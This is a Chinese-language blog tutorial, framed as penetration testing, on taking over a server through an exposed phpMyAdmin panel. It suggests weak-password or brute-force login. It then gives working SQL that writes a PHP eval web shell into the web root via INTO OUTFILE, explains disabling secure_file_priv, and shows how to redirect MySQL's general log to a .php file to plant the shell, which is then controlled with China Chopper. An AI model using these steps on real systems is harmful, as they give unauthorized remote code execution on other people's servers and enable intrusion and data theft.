.
3ss.cn

PhpMyAdmin后台getshell(渗透测试)

PhpMyAdmin简介

PhpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。

在通过对目标进行信息收集探测后,当发现存有phpmyadmin目录(可试下:http://ip:端口/phpmyadmin/ )时,进而通过弱口令(可以直接尝试下账号root密码root)或者暴力破解进入管理后台之后,有多种方法进行getshell。

into outfile导出木马

想在网站内部插入木马,前提是你得知道网站的绝对路径,方法也有很多,比如通过报错获取路径,通过phpinfo.php等等(可参考另一篇博文:https://blog.csdn.net/weixin_39190897/article/details/99078864 )。

最方便的是用select @@basedir;直接查(但有时没法查出来,只能另寻它法):

根据上面的反馈,我们可以看到 MySQL 的位置在 D:\soft\phpStudy\MySQL\目录下。

获得网站路径后就可以企图上传木马了,最常用的是通过into outfile在网站根目录上直接写入一句话木马:

select '<?php eval($_POST[cmd]); ?>' into outfile 'D:\soft\phpStudy\www\xxx.php';

但在新版的mysql中,这句话并没有运行成功。

Mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出。我们可以借助show global variables like '%secure%';命令来查看该参数:

secure_file_priv为NULL时,表示限制Mysql不允许导入导出,所以爆出错误。要想使得该语句导出成功,则需要在Mysql文件夹下修改my.ini 文件,在[mysqld]内加入secure_file_priv ="" 即可:

secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制,此时就可以执行导出命令。

利用Mysql日志文件

Mysql 5.0版本以上会创建日志文件,通过修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限。(注:linux因为权限问题亲测没有成功)。先来介绍两个MySQL全局变量:general_loggeneral_log file

general log 指的是日志保存状态,ON代表开启 OFF代表关闭;general log file 指的是日志的保存路径。

查看日志状态的命令:show variables like '%general%';

在以上配置中,当开启general时,所执行的sql语句都会出现在WIN-30DFNC8L78A.log文件

那么,如果修改general_log_file的值,那么所执行的sql语句就会对应生成,进而getshell。

对应就会生成xxx.php文件

将一句话木马写入xxx.php文件:SELECT '<?php eval($_POST["cmd"]);?>'

接着可以看到日志文件中记录了木马语句:
最后中国菜刀连接,getshell:

赞(0)
未经允许不得转载:互联学术 » PhpMyAdmin后台getshell(渗透测试)

评论 抢沙发